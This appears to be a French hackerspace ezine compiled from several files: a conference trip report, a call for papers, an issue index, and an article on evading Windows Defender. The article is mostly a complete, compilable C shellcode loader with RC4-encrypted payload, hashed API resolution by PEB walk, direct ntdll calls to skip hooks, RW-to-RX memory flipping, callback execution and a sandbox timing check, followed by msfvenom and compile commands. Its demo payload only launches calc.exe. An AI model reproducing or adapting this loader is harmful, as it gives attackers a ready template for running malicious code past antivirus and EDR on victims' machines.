        - Aventure du hacking de consoles jusqu’à la création d’outils
        de sécurité

12h00 - 12h50   Talk "Bootstrapping Kindle research"
        (par Tanguy Dubroca)
        - Un nouveau jailbreak Kindle développé pour répondre 
        à une question personnelle

19h00 - 19h55   Talk "Offensive AI on ESP32"
        (par x42en & Ben Mz)
        - Vandal : Wi‑Fi, Bluetooth, Sub‑GHz, BadUSB… (démos prévues)

--------------------------------------------------------------------------------

j'ai encore l'occasion de bouger dans le salon, voir les copains.

12H00 - je fais l'atelier, pas tout seul cette fois, a deux c'est quand même
beaucoup plus fluide et j'ai enfin l'occasion de souffler un peu. Toujours 
pareil, les petit défauts des copies chinoises ce font ressentir et il fallu 
bricoler sur place. Même déroulement, même résultat, plutot content.

J'apprend que mon atelier hardware est programmé pour 21H00 et que ma 
présentation est à 17H00 à l'amphithéatre Gaston Berger. Biero et L0Key font 
leur présentation vers 15h50, non filmée et Oros fait sa présentation à 18H30

L'aprèm j'en profite pour terminer mes slides, quelques coquilles à corriger et
une ou deux slides à rajouter. Cette année je parle, comme à mon habitude, de 
piratage radio, une petite introduction à ce qu'est techniquement la radio, le
vocabulaire et les différents types d'attaques.

15H50 

Biero et L0key on décidé de pas filmer la présentation, et par flemme je vais 
pas détaillé ce qui a été dis, z'aviez qu'à être là, mais en gros, c'est la
mise sous les projecteurs d'un groupe crack/warez ControlsNothing dont X fait
parti. Objectif simple, cracker des logiciels industriels et les méthodes de 
protection par mot de passe des projets. La présentation expliquait les
différents outils qu'on as eu l'occasion de reverse / crack et un petit 
narratif du pourquoi du comment qu'X à fait ça. AkA: y'a un marché au vietnam
qui revend des projets volé protégés par mot de passe, et pour baiser le 
marché, X c'est mis en tête de publier ça gratos.

L0key à présenter les deux trois outils qu'il à eu l'occasion de reverse et 
cracker et Biero nous as fait un joli narratif sur le Warez vietnamien

17H00

Après la présentation de biero, viens celle de Virtu que je ne vais pas pouvoir
voir car je doit me préparer. Je descend dans la succursalle et la régie ou on
le colle le micro sur la bouche, la batterie au cul, on me tripote tout le long
pour brancher tout ça et je doit attendre mon tour sans trop bouger.

La présentation en elle est même plutôt courte, là ou d'habitude je prend mon 
temps (45min-1H30 à SecSea2K24) j'ai du speed à 25 min max et j'ai quand même
réussi à me faire engeuler.

J'ai eu pas mal de question intéressantes, pas mal d'étranger qui en ont profité
pour faire leurs pub de club radio amateur, un ops bizarre qui m'a parlé de
drones.

Je me suis évidemment fait alpagué par deux trois personnes à la fin,
un militaire qui fait de la reconnaissance de signaux et qu'éssayait de 
m'embriguader dans ses emerdes, les brhackeuses, et Oros que je vois pour la
première fois en physique. ça présentation est un peu similaire mais porté sur
la 2G avec sont tool et une démo pas piqué des hannetons ;)

19H00

La présentation d'Oros terminée je vais enfin pouvoir boire. J'en profite pour
me faufiler et taxer un max de pintes, tel le ras que je pense être avant de
devoir retourner faire un atelier.

21H00

Je suis un peu éclaté, fatigué, et j'ai pommé une partie de mon materiel,
J'arrive dans une salle après avoir stipulé qu'on pouvais pas être plus de 3 
groupes, et voilà 15-20 personnes qui ce ramènes....Des multimètres qui
tombe en rade et un ou deux transfos de LINKSYS que je retrouve pas.

J'ai eu la visite fortuite de Snorky et son conpère, venu me soutenir.
L'atelier ce passe bien, et j'en profite pour proposer deux trois cibles en plus

00H00

Ayé j'ai tout fini, je vais pouvoir m'éclatax! Je recroise Oros et Fox qui 
discutent. Je croise Matthieu, Mozzie, WaWa et on fini la soiré à discuter
tous ensemble. Je fait des allez retours toute la nuit entre le WarGame et le 
coin dehors pour papoter et voir ou en sont les gens du CTF (je participe pas,
la concurrence ça pue du cul)

J+2 :: Mal au crâne + rangement

On est dimanche, Il est 7H30 et on est pas couchés, on as passé la soirée au 
Wargame et à la buvette, on c'est bien amusés, on as bien discutés, on as joués 
au babyfoot et au air-hockey avec les zombies restants.

Je vous avouerais que là, j'ai envie d'une seule chose, une douche et dodo. 

On prend donc la décision, après avoir tout rangé dans leLAB et mis les affaires 
dans  le sac, de ce barrer. Fin de séance et il me manque encore 
deux/trois multimètre. On arrives à en retrouver deux dans les affaires avec 
Tcccorp [^1]. Le dernier à été retrouvé un peu plus tard, j'était déja parti, 
et soigneusement gardé par Tcccorp jusqu'à notre prochaine rencontre.

On pack tout et on c'en va, éclatés et pas encore désaoulé pour ma part.
Le voyage m'a paru extrèmement long, et après moutle galères, nous sommes 
arrivés dans le AirBnB pour prendre notre douche et s'écrouler comme des 
merdes dans le lit pour un dodo bien mérité.
                                                             .---.        
                                                            /  .  \      
                                                           |\_/|   |     
                                                           |   |  /|     
     .-----------------------------------------------------------' |     
    /  .-.     _______               ______  _   _  _____          |     
   |  /   \   |__   __||     __     |  ____|| \ | ||  __ \         |     
   | |\_.  |     | |   |__  /__\    | |__   |  \| || |  | |        |     
   |\|  | /|     | |   |  \| ___|   |  __|  | . ` || |  | |        |     
   | `---' |     | |   |  ||        | |____ | |\  || |__| |        |     
   |       |     |_|        \__/    |______||_| \_||_____/         |     
   |       |                                                      /      
   |       |-----------------------------------------------------'       
   \       |                                                             
    \     /                                                              
     `---'                                                              

NoTes

Merci à Mozzie et WaWa que j'ai croisé et fusillé du regard, certain de les
avoirs déja croisés quelque part ;)

[^1] Pendant tout l'événement j'ai pas arrêter de pômmer des affaires, des 
multimètres et des targets RFID, à un tel point que Tcccorp à commencer à 
m'appeler petit poucet.

-- EOF --

cfp/cfp.txt
               :'#######:::'#######::::'#####:::::'#####:::
               '##.... ##:'##.... ##::'##.. ##:::'##.. ##::
                ##:::: ##: ##::::..::'##:::: ##:'##:::: ##:
               : ########: ########:: ##:::: ##: ##:::: ##:
               :...... ##: ##.... ##: ##:::: ##: ##:::: ##:
               '##:::: ##: ##:::: ##:. ##:: ##::. ##:: ##::
               . #######::. #######:::. #####::::. #####:::
               :.......::::.......:::::.....::::::.....:: bauds                                                            

                          ISSUE No 5 Sept 2026

                              9600@ghspace.fr
                         #9600 sur irc.libera.chat

┌────────────┐
│ DISCLAIMER └─────────────────────────────────────────────────────────────────┐
│ Ce zine est une oeuvre collective, à but informatif, écrite par des gens qui |
| savent (parfois) ce qu'ils font. En aucun cas ils ne peuvent être tenus      |
| responsables de vos bêtises.                                                 │
└──────────────────────────────────────────────────────────────────────────────┘

-- INFO --

9600 bauds est un ezine inter-hackerspaces francophones à l'initiative de
GRENOBLE HACKERSPACE. Vous pouvez partager vos projets, vos actualités, vos
réflexions, vos tutoriels, vos retours d’expérience, ou tout autre contenu de
votre communauté dans un format volontairement minimaliste et nostalgique

-- FAQ ---

Q: Pourquoi ASCII/ANSI seulement ?
A: Parce qu’écrire en ASCII ça fait mal aux doigts, mais c'est puré classe.

-- RTFM --

Format      : Texte ASCII brut (pas de mise en forme riche).
Longueur    : 1 à 2 articles par hackerspace.
Largeur     : 80 colonnes maximum (pour rester lisible en terminal).
Encodage    : UTF-8 (accents et caractères spéciaux acceptés sauf émojis).

Envoyez votre proposition à 9600@ghspace.fr (en corps de mail ou en pj.txt)

Date limite : 10 juin 2026 (minuit, UTC+2).
Publication : 25 juin 2026.

Structure :

Titre       : Moins de 76 caractères
Auteur      : Un pseudo court + nom complet (optionnel).
Hackerspace     : Nom du hackerspace que vous représentez.
Contenu     : Libre, mais clair et concis.

Contenu attendu :

Priorité aux projets concrets, retours d’expérience, actualités, présentations 
de hackerspaces, tutoriels, ou réflexions techniques.

- Hardware : Rétro-ingénierie, modifications de matériel, prototypage 
- Security : Vulnérabilités documentées, retex pentest, analyses de firmware
- Réseaux  : Protocoles obscurs, SDR, mesh networking 
- DIY/Art  : Projets artistiques
- Essais   : Articles autour de l'Infosec, du Libre, du Piratage etc..
- Spaces   : Présentations de lieux, outils partagés, retex

À éviter :

- Les tutoriels basiques sans originalité (ex: "Installer Linux sur un PC").
- Les sujets hors scope (ex: "Ma recette de bière maison")
- Le contenu purement théorique sans application pratique (sauf essais)

Politiques Spécifiques:

    1. Vulnérabilités 0-day

    Accepté si :

    - La vulnérabilité est déjà publique (patch dispo depuis ≥7 jours).
    - Pas de patch mais rapporté depuis ≥90 jours (avec preuve de contact).
    - Cible très pertinente pour la communauté

    Rejeté si :

    - Divulgation prématurée sans coordination avec les mainteneurs.
    - Cible triviale.

    2. Malware

    Accepté sous conditions :

    - Analyses techniques de malware existants 
    - Outils offensifs légitimes
    - Recherche défensive

    Exemple rejeté :

    - "Comment chiffrer un fichier et demander une rançon en Monero"

    Exemple accepté :    

    - "Reverse engineering d’un keylogger"

    3. Utilisation de l’IA

    Autorisé :

    - Correction grammaticale ou reformulation de phrases (à déclarer)
    - Articles sur l’IA incluant des outputs générés 

   Interdit :

    - Contenu généré par IA                             /!\ FUCK AI

Licence :

Par défaut : CC BY-NC-SA 4.0 (vous gardez vos droits, mais autorisez 
la réutilisation et l’adaptation sous les mêmes conditions).
Précisez dans votre soumission si vous souhaitez une autre licence.

Sélection : 

Les articles sont choisis pour leur pertinence, leur originalité et leur 
respect des règles. Si votre soumission n’est pas retenue pour le #1, elle sera
automatiquement considérée pour le #2. Aucune contribution ne sera perdue.

Archivage: 

9600 bauds sera conservé et partagé (site miroir, archives, etc.).

Exemple de soumission:


---
title : &#34;Intro au piratage Hardware - Root Shell avec UART&#34;
author : lavomatik
full_name: Lavo Matik &lt;lavomatik@mail.com&gt;
hackerspace: GRENOBLE HACKERSPACE (Grenoble)
---

[Corps de l’article en texte brut, 80 colonnes max...]

Date limite : 10 Septembre 2026 Publication : 25 Septembre 2026 Contact : 9600@ghspace.fr -- CONTACT --- Vous pouvez nous contacter via : - IRC: #6900 sur irc.libera.chat 6667 - EMAIL: Staff 9600 <9600@ghspace.fr> Besoin de confidentialité ? -----BEGIN PGP PUBLIC KEY BLOCK----- mDMEaMau5BYJKwYBBAHaRw8BAQdAIriSQTvU+voZh3ol3A5lZpOzO0Hf4a3ie5dc 0TAcQTy0HFN0YWZmIDk2MDAgPDk2MDBAZ2hzcGFjZS5mcj6IkwQTFgoAOxYhBDxY ZnlHx05Ta/BFq3t6TmyI4pAlBQJoxq7kAhsDBQsJCAcCAiICBhUKCQgLAgQWAgMB Ah4HAheAAAoJEHt6TmyI4pAl4rUA/2RhQ1zFNjG1sbpYn2yhd4vW6ELWv3jbHSbv k9hxhFAYAP436htohxy36vUY/lZAaShInBXd3ThVcfgbGZ04rfy7BLg4BGjGruQS CisGAQQBl1UBBQEBB0BXqqHHKxM0ZPHJty2Hzn8MGL5Mn1R6BiaGbCDqW122UgMB CAeIeAQYFgoAIBYhBDxYZnlHx05Ta/BFq3t6TmyI4pAlBQJoxq7kAhsMAAoJEHt6 TmyI4pAlog4A/2/eb+Y/CwJhIJ8WUS3ftNw6Yi929SBizt9JAu5eVpACAQCyu6ku /U2Zk/Ia96Lc3J0CoresASYjVc2vjt+7V9uVAQ== =Rvqt -----END PGP PUBLIC KEY BLOCK----- == == <^\()/^> <^\()/^> \/ \/ \/ \/ /__\ . ' . /__\ == /\ . | . /\ == <^\()/^> !_\/ ' | ' \/_! <^\()/^> \/ \/ !_/I_|| . ' \'/ ' . ||_I\_! \/ \/ /__\ /I_/| || -= 96 00 =- || |\_I\ /__\ /_ \ !//| | || ' . /.\ . ' || | |\\! /_ \ (- ) /I/ | | || . | . || | | \I\ (= ) \__/!//| | | || ' | ' || | | |\\!\__/ / \I/ | | | || ' . ' * || | | | \I/ \ {_ __} | | | || || | | | {____} _!__|= || | | | || * + || | | | || |__!_ _I__| ||__|__|__|_|| A ||_|__|__|__||- |__I_ -|--|- ||--|--|--|-|| __/_\__ * ||-|--|--|--||= |--|- | | || | | | || /\-'o'-/\ || | | | || | | | |= || | | | || _||:<_>:||_ || | | | ||= | | | |- || | | | || * /\_/=====\_/\ * || | | | ||= | | | |- || | | | || __|:_:_[I]_:_:|__ || | | | ||- | | _|__| ||__|__|__|_||:::::::::::::::::::::||_|__|__|__|| |__|_ -|--|= ||--|--|--|-||: 9600 bauds church :||-|--|--|--||- |--|- jgs|- || | | | ||:::::::::::::::::::::|| | | | ||= | | ~~~~~~~~~^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^~~~~~~~~~ -- EOF --
iNDEX.txt
::::::::::::::
00.txt
::::::::::::::
                 _______      ___       ______      ______    
                /" _   "\    /. ")     /    " \    /    " \   
               (: (_/  :|   /:  /     // ____  \  // ____  \  
                \____/ |)  //  /___  /  /    ) :)/  /    ) :) 
                   _\  '| (   / _  \(: (____/ //(: (____/ //  
                  /" \__|\|:   /_) :)\        /  \        /   
                 (________)\_______/  \"_____/    \"_____/ bauds                                                               

                          ISSUE No 4 - Aout 2026

                              9600@ghspace.fr
                         #9600 sur irc.libera.chat

┌────────────┐
│ DISCLAIMER └─────────────────────────────────────────────────────────────────┐
│ Ce zine est une oeuvre collective, à but informatif, écrite par des gens qui |
| savent (parfois) ce qu'ils font. En aucun cas ils ne peuvent être tenus      |
| responsables de vos bêtises.                                                 │
└──────────────────────────────────────────────────────────────────────────────┘

-- INFO --

9600 bauds est un ezine inter-hackerspaces francophones à l'initiative de
GRENOBLE HACKERSPACE. Vous pouvez partager vos projets, vos actualités, vos
réflexions, vos tutoriels, vos retours d’expérience, ou tout autre contenu de
votre communauté dans un format volontairement minimaliste et nostalgique

-- EDITO --

Il s'en est passé des trucs ! Le N°4 devais sortir en juin mais par manque
de trucs à dire et pour des raisons évidentes de vacances généralisées, on as
tous pris la dure décision de se mettre les doigts de pieds en éventails et se
la c00ler douce. Je vous avouerais que j'ai encore un peu de mal à vous écrire,
le mojito va pas ce boire tous seul ;)                      ____
                                                           (_  _)
    Bonnes vacances  à ceux qu'en ont            .  .       / /
    Bonnes chances à ceux qu'en on pas        .`_._'_..    / /
    Et merde à ceux qu'en veulent pas!        \   o   /   / /
                                           Pru \ /   /  _/ /_ 
                                         `. ~. `\___/'./~.' /.~'`.
                                         .`'`.`.'`'`.~.`'~.`'`.~`

Biz.
                                                              Beemo / Staff 9600

┌──────────┐
│ SOMMAIRE └───────────────────────────────────────────────────────────────────┐
│ 00.TXT : Sommaire et Présentations .............................. Staff 9600 │
│ 01.TXT : Techniques d'évasion sur Windows Defender ................... Beemo |
│ 02.TXT : Bypass Livebox Orange ...................................... Miizix |
│ 03.TXT : ph0wn2own ................................................... Miaou |
│ 04.TXT : SUMMER Trip :: LeHACK & Pass the Salt ....................... Tuxlu |
│ 05.TXT : leHACK 2026 - Brave New World ............................... Beemo |
└──────────────────────────────────────────────────────────────────────────────┘

-- CONTACT --

Tu peux nous contacter via :

- IRC:    #9600 sur irc.libera.chat 6667
- EMAIL:  Staff 9600 <9600@ghspace.fr>

Besoin de confidentialité ?

-----BEGIN PGP PUBLIC KEY BLOCK-----

mDMEaMau5BYJKwYBBAHaRw8BAQdAIriSQTvU+voZh3ol3A5lZpOzO0Hf4a3ie5dc
0TAcQTy0HFN0YWZmIDk2MDAgPDk2MDBAZ2hzcGFjZS5mcj6IkwQTFgoAOxYhBDxY
ZnlHx05Ta/BFq3t6TmyI4pAlBQJoxq7kAhsDBQsJCAcCAiICBhUKCQgLAgQWAgMB
Ah4HAheAAAoJEHt6TmyI4pAl4rUA/2RhQ1zFNjG1sbpYn2yhd4vW6ELWv3jbHSbv
k9hxhFAYAP436htohxy36vUY/lZAaShInBXd3ThVcfgbGZ04rfy7BLg4BGjGruQS
CisGAQQBl1UBBQEBB0BXqqHHKxM0ZPHJty2Hzn8MGL5Mn1R6BiaGbCDqW122UgMB
CAeIeAQYFgoAIBYhBDxYZnlHx05Ta/BFq3t6TmyI4pAlBQJoxq7kAhsMAAoJEHt6
TmyI4pAlog4A/2/eb+Y/CwJhIJ8WUS3ftNw6Yi929SBizt9JAu5eVpACAQCyu6ku
/U2Zk/Ia96Lc3J0CoresASYjVc2vjt+7V9uVAQ==
=Rvqt
-----END PGP PUBLIC KEY BLOCK-----

Ah oui, j'oubliais... Nous sommes toujours ouvert à de nouveaux articles.
Donc si vous voulez contribuer aux prochains numéro, envoyer nous votre
proposition déja formatté par email. Aussi, si vous pensez avoir du temps et
les compétences, le comité éditorial est ouvert à candidature.

              ,.  _~-.,               .
           ~'`_ \/,_. \_
          / ,"_>@`,__`~.)             |           .
          | |  @@@@'  ",! .           .          '
          |/   ^^@     .!  \          |         /
          `' .^^^     ,'    '         |        .             .
           .^^^   .          \                /          .
          .^^^       '  .     \       |      /       . '
.,.,.     ^^^             ` .   .,+~'`^`'~+,.     , '
&&&&&&,  ,^^^^.  . ._ ..__ _  .'    9600     '. '_ __ ____ __ _ .. .  .
%%%%%%%%%^^^^^^%%&&;_,.-=~'`^`'~=-.,__,.-=~'`^`'~=-.,__,.-=~'`^`'~=-.,`^`'~=.-
&&&&&%%%%%%%%%%%%%%%%%%&&;,.-=~'`^`'~=-.,__,.-=~'`^`'~=-.,__,.-=~'`^`'~=__,.--
%%%%%&&&&&&&&&&&%%%%&&&_,.;^`'~=-.,__,.-=~'`^`'~=-.,__,.-=~'`^`'~=-.,__,^'~=-.
%%%%%%%%%&&&&&&&&&-=~'`^`'~=-.,__,.-=~'`^`'~=-.,__,.-==--^'~=-.,__,.-=~'.-==--
##mjy#####*"
_,.-=~'`^`'~=-.,__,.-=~'`^`'~=-.,__,.-=~'`^`'~=-.,.-=~'`^`'~=-.,__,.-=~'=-.,.-

~`'^`'~=-.,__,.-=~'`^`'~=-.,__,.-=~'`^`'~=-.,__,.-=~'`^`'~=-.,__,.-=~'`^^`'~=-.

-- EOF --
::::::::::::::
01.txt
::::::::::::::
  _______      ___       ______      ______    
 /" _   "\    /. ")     /    " \    /    " \   
(: (_/  :|   /:  /     // ____  \  // ____  \  
 \____/ |)  //  /___  /  /    ) :)/  /    ) :) 
    _\  '| (   / _  \(: (____/ //(: (____/ //  
   /" \__|\|:   /_) :)\        /  \        /   
  (________)\_______/  \"_____/    \"_____/ bauds       

┌───────────────────────────────┐
│ ISSUE No 4 - Aout 2026 01.TXT └──────────────────────────────────────────────┐
| Techniques d'évasion sur Windows Defender                                    |
| Beemo <nflatrea@mailo.com>                                                   |
| GRENOBLE HACKERSPACE                                                         |
└──────────────────────────────────────────────────────────────────────────────┘⠀

            ___                              _                    
           | __|   __ __   __ _     ___     (_)     ___    _ _    
           | _|    \ V /  / _` |   (_-<     | |    / _ \  | ' \   
           |___|   _\_/_  \__,_|   /__/_   _|_|_   \___/  |_||_|  
         _|"""""|_|"""""|_|"""""|_|"""""|_|"""""|_|"""""|_|"""""| 
         "`-0-0-'"`-0-0-'"`-0-0-'"`-0-0-'"`-0-0-'"`-0-0-'"`-0-0-'  

          [>] Techniques d'évasion sur Windows Defender
                                           Beemo


[0x00] :: INTRODUCTION

J'ai récemment eu l'occasion de discuter maldev et après réflexion, me suis dis
qu'il serait intéressant de discuter de certaines techniques d'évasions.

PwnBot m'a récemment montré un PoC qu'il c'était amusé à faire, qui combine 
plusieurs techniques et des ptites astuces qui marchent. Me suis pas fais chié 
et j'ai pris son shellcode comme exemple. 

Le PoC compile en vrac,

  - Du chiffrement RC4 sur le payload,
  - Une résolution des APIs via PEB + hash (pas de str en clair)
  - Des appels directs à ntdll pour éviter les crochets en user-mode
  - Transition RW->RX (pas de RWX, les EDR adorent ça)
  - De l'exécution via callback EnumSystemLocalesA (pas de call direct)
  - Une détection de sandbox basée sur le timing

[0x01] :: EL FAMOSO

/*
 * Compil (Linux):
 *   x86_64-w64-mingw32-gcc main.c -o runner.exe -mwindows -s -O2
 * Compil (MSVC):
 *   cl main.c /Fe:runner.exe /O2 /GS-
 */

#include <windows.h>
#include <winternl.h>

/* ------------------------------------------------------------------ */
/* djb2 hashes                        */
/* ------------------------------------------------------------------ */
#define HASH_NTDLL_DLL                  0xe91aad51UL
#define HASH_KERNEL32_DLL               0x3e003875UL
#define HASH_NtAllocateVirtualMemory    0xf0146ce2UL
#define HASH_NtProtectVirtualMemory     0xcd363694UL
#define HASH_EnumSystemLocalesA         0x7ced7069UL

/* ------------------------------------------------------------------ */
/* djb2                                                                */
/* ------------------------------------------------------------------ */
static DWORD djb2_a(const char *s) {
    DWORD h = 5381;
    while (*s) h = (h * 33) ^ (unsigned char)*s++;
    return h;
}

static DWORD djb2_w(const WCHAR *s) {
    DWORD h = 5381;
    while (*s) {
        WCHAR c = (*s >= L'A' && *s <= L'Z') ? *s + 32 : *s;
        h = (h * 33) ^ (unsigned char)c;
        s++;
    }
    return h;
}

/* ------------------------------------------------------------------ */
/* LDR struct                                                       */
/* ------------------------------------------------------------------ */
typedef struct _MY_LDR_ENTRY {
    LIST_ENTRY     InLoadOrderLinks;
    LIST_ENTRY     InMemoryOrderLinks;
    LIST_ENTRY     InInitializationOrderLinks;
    PVOID          DllBase;
    PVOID          EntryPoint;
    ULONG          SizeOfImage;
    UNICODE_STRING FullDllName;
    UNICODE_STRING BaseDllName;
} MY_LDR_ENTRY;

/* ------------------------------------------------------------------ */
/* PEB walk                                                             */
/* ------------------------------------------------------------------ */
static PVOID peb_get_module(DWORD target_hash) {
    PPEB peb   = (PPEB)__readgsqword(0x60);
    PLIST_ENTRY head = &peb->Ldr->InMemoryOrderModuleList;
    PLIST_ENTRY curr = head->Flink;
    while (curr != head) {
        MY_LDR_ENTRY *e = CONTAINING_RECORD(curr, MY_LDR_ENTRY, InMemoryOrderLinks);
        if (e->BaseDllName.Buffer && djb2_w(e->BaseDllName.Buffer) == target_hash)
            return e->DllBase;
        curr = curr->Flink;
    }
    return NULL;
}

/* ------------------------------------------------------------------ */
/* EAT parser                                                           */
/* ------------------------------------------------------------------ */
static FARPROC eat_get_proc(PVOID base, DWORD target_hash) {
    BYTE *b = (BYTE *)base;
    IMAGE_DOS_HEADER      *dos = (IMAGE_DOS_HEADER *)b;
    IMAGE_NT_HEADERS      *nt  = (IMAGE_NT_HEADERS *)(b + dos->e_lfanew);
    IMAGE_EXPORT_DIRECTORY *ex = (IMAGE_EXPORT_DIRECTORY *)(b +
        nt->OptionalHeader.DataDirectory[IMAGE_DIRECTORY_ENTRY_EXPORT].VirtualAddress);

    DWORD *names    = (DWORD *)(b + ex->AddressOfNames);
    WORD  *ords     = (WORD  *)(b + ex->AddressOfNameOrdinals);
    DWORD *funcs    = (DWORD *)(b + ex->AddressOfFunctions);

    for (DWORD i = 0; i < ex->NumberOfNames; i++) {
        const char *name = (const char *)(b + names[i]);
        if (djb2_a(name) == target_hash)
            return (FARPROC)(b + funcs[ords[i]]);
    }
    return NULL;
}

/* ------------------------------------------------------------------ */
/* API typedefs                                                         */
/* ------------------------------------------------------------------ */
typedef NTSTATUS (NTAPI *fnNtAllocateVirtualMemory)(
    HANDLE, PVOID *, ULONG_PTR, PSIZE_T, ULONG, ULONG);

typedef NTSTATUS (NTAPI *fnNtProtectVirtualMemory)(
    HANDLE, PVOID *, PSIZE_T, ULONG, PULONG);

typedef BOOL (WINAPI *fnEnumSystemLocalesA)(LOCALE_ENUMPROCA, DWORD);

/* ------------------------------------------------------------------ */
/* RC4                                                                  */
/* ------------------------------------------------------------------ */
static void rc4_crypt(unsigned char *key, int klen,
                      unsigned char *data, int dlen) {
    unsigned char S[256];
    int i, j = 0;
    for (i = 0; i < 256; i++) S[i] = (unsigned char)i;
    for (i = 0; i < 256; i++) {
        j = (j + S[i] + key[i % klen]) & 0xFF;
        unsigned char t = S[i]; S[i] = S[j]; S[j] = t;
    }
    i = j = 0;
    for (int k = 0; k < dlen; k++) {
        i = (i + 1) & 0xFF;
        j = (j + S[i]) & 0xFF;
        unsigned char t = S[i]; S[i] = S[j]; S[j] = t;
        data[k] ^= S[(S[i] + S[j]) & 0xFF];
    }
}

/* ------------------------------------------------------------------ */
/* Sandbox check: mesure si Sleep() dort vraiment                     */
/* ------------------------------------------------------------------ */
static BOOL sandbox_check(void) {
    LARGE_INTEGER t1, t2, freq;
    QueryPerformanceFrequency(&freq);
    QueryPerformanceCounter(&t1);
    Sleep(1500);
    QueryPerformanceCounter(&t2);
    LONGLONG elapsed_ms = (t2.QuadPart - t1.QuadPart) * 1000 / freq.QuadPart;
    return (elapsed_ms >= 1400);  /* allow 100 ms tolerance */
}

/* ------------------------------------------------------------------ */
/* RC4 key :: rien de caché ici, c'est pas notre but                  */
/* ------------------------------------------------------------------ */
static unsigned char KEY[] = {
    0x4e, 0x61, 0xc3, 0x7f, 0x09, 0xb2, 0x55, 0xd8,
    0xaa, 0x3c, 0x17, 0xe9, 0x72, 0x06, 0xbd, 0x41
};

/*
 * RC4-chiffré windows/x64/exec CMD=calc.exe
 */
static unsigned char enc_sc[] = {
    0x5f, 0xef, 0x3c, 0xd4, 0xe8, 0x16, 0xde, 0x11, 0x86, 0x6c, 0xdf, 0x05,
    0xc9, 0x53, 0x86, 0x7e, 0x4a, 0xb6, 0xb0, 0xaf, 0x46, 0xee, 0xe2, 0xf1,
    0x49, 0x5f, 0x6b, 0x89, 0xcf, 0x54, 0x11, 0x11, 0x83, 0x16, 0x41, 0x8b,
    0x56, 0x4c, 0xba, 0x1d, 0x36, 0x50, 0xf8, 0xe3, 0xdf, 0x35, 0x26, 0x39,
    0xa0, 0x3b, 0xb1, 0x54, 0x41, 0x2e, 0xf9, 0xb4, 0xf1, 0x0b, 0xd4, 0x72,
    0xfe, 0xc4, 0x04, 0x76, 0x5d, 0xba, 0xd9, 0x8c, 0xa7, 0xea, 0xe8, 0x2a,
    0xb9, 0x75, 0x1c, 0xe6, 0x8d, 0x0c, 0x80, 0xf6, 0x1b, 0xfb, 0x01, 0x80,
    0x49, 0xca, 0x85, 0xf7, 0x32, 0xac, 0xf9, 0x7b, 0xec, 0x4f, 0xc7, 0x89,
    0xec, 0x4e, 0xb9, 0x82, 0x3e, 0x0e, 0x27, 0x2a, 0x75, 0xf8, 0x3c, 0x73,
    0x86, 0x28, 0x1a, 0x23, 0x22, 0x5f, 0x02, 0xed, 0x67, 0xe7, 0x65, 0xe9,
    0xc8, 0x6a, 0xfc, 0x1a, 0x66, 0x2d, 0x57, 0xc4, 0x0f, 0x5d, 0x29, 0xd5,
    0x09, 0xe3, 0xac, 0x76, 0x42, 0x70, 0x7d, 0x43, 0x6a, 0x09, 0xf7, 0xf0,
    0x39, 0xd0, 0xf6, 0x94, 0x21, 0xb5, 0x14, 0x90, 0x43, 0x46, 0xff, 0xaf,
    0xa9, 0x58, 0x97, 0xcd, 0x61, 0x7f, 0xc1, 0x14, 0x47, 0xf4, 0x8e, 0x60,
    0x90, 0x3e, 0xb5, 0xae, 0x49, 0x08, 0x25, 0x80, 0x67, 0xe1, 0xbf, 0x8f,
    0x13, 0x13, 0x91, 0x51, 0x77, 0xe1, 0x77, 0x3e, 0x97, 0xd6, 0x65, 0xe7,
    0x41, 0x26, 0xeb, 0x90, 0x2f, 0xcf, 0x08, 0x34, 0x9e, 0xf5, 0xa1, 0x9a,
    0x82, 0x66, 0xee, 0xf4, 0xab, 0xf8, 0x7c, 0xf8, 0xef, 0x3a, 0x0c, 0xb0,
    0x96, 0xfc, 0x8a, 0x86, 0x9f, 0x93, 0x38, 0xdb, 0x9f, 0x72, 0x87, 0x80,
    0x69, 0xb4, 0x35, 0x99, 0x58, 0x56, 0x81, 0xb5, 0x04, 0x81, 0x66, 0xa6,
    0x94, 0x7c, 0xff, 0x5d, 0xce, 0xdc, 0x05, 0x89, 0x2d, 0x93, 0x4f, 0x9e,
    0xde, 0x7b, 0x05, 0xef, 0xef, 0x49, 0x2e, 0x9b, 0xfa, 0xeb, 0xa4, 0x53,
    0x7d, 0xda, 0x89, 0x09, 0x92, 0xb7, 0x98, 0xee, 0xb9, 0xd5, 0xdc, 0x6e,
};

int main(void) {

    /* check sandbox */
    if (!sandbox_check())
        return 0;

    /* Resolve ntdll + kernel32 depuis la PEB */
    PVOID hNtdll = peb_get_module(HASH_NTDLL_DLL);
    PVOID hK32   = peb_get_module(HASH_KERNEL32_DLL);
    if (!hNtdll || !hK32) return 1;

    /* Resolve Nt* depuis ntdll EAT (bypasses kernel32 hook layer) */
    fnNtAllocateVirtualMemory NtAVM =
        (fnNtAllocateVirtualMemory)eat_get_proc(hNtdll, HASH_NtAllocateVirtualMemory);
    fnNtProtectVirtualMemory  NtPVM =
        (fnNtProtectVirtualMemory) eat_get_proc(hNtdll, HASH_NtProtectVirtualMemory);
    fnEnumSystemLocalesA      EnumSL =
        (fnEnumSystemLocalesA)     eat_get_proc(hK32,   HASH_EnumSystemLocalesA);
    if (!NtAVM || !NtPVM || !EnumSL) return 1;

    /* Alloue RW via ntdll directement */
    PVOID  buf = NULL;
    SIZE_T len = sizeof(enc_sc);
    NtAVM((HANDLE)-1, &buf, 0, &len, MEM_COMMIT | MEM_RESERVE, PAGE_READWRITE);
    if (!buf) return 1;

    /* copie + RC4 decrypt */
    for (SIZE_T i = 0; i < sizeof(enc_sc); i++)
        ((BYTE*)buf)[i] = enc_sc[i];
    rc4_crypt(KEY, sizeof(KEY), (unsigned char *)buf, (int)sizeof(enc_sc));

    /* Flip RX via ntdll directement */
    ULONG  old = 0;
    SIZE_T region = sizeof(enc_sc);
    NtPVM((HANDLE)-1, &buf, &region, PAGE_EXECUTE_READ, &old);

    /* Execute via EnumSystemLocalesA callback pas de fn-ptr cast à poil */
    EnumSL((LOCALE_ENUMPROCA)buf, 0);

    return 0;
}

[0x02] :: COMPILATION ET TEST

[>] Générer le shellcode:

  $ msfvenom -p windows/x64/exec CMD=calc.exe -f raw > shellcode.bin
  $ python3 gen_shellcode.py shellcode.bin // dérouillez vous pour le script
  Copier la sortie "header" dans le code C.

[>] Compiler sous linux:

  $ x86_64-w64-mingw32-gcc main.c -o runner.exe -mwindows -s -O2

[>] Compiler sous Windows/MSVC :

  C:\> cl main.c /Fe:runner.exe /O2 /GS-

[>] Test:

  - Vérifier que calc.exe s'ouvre.
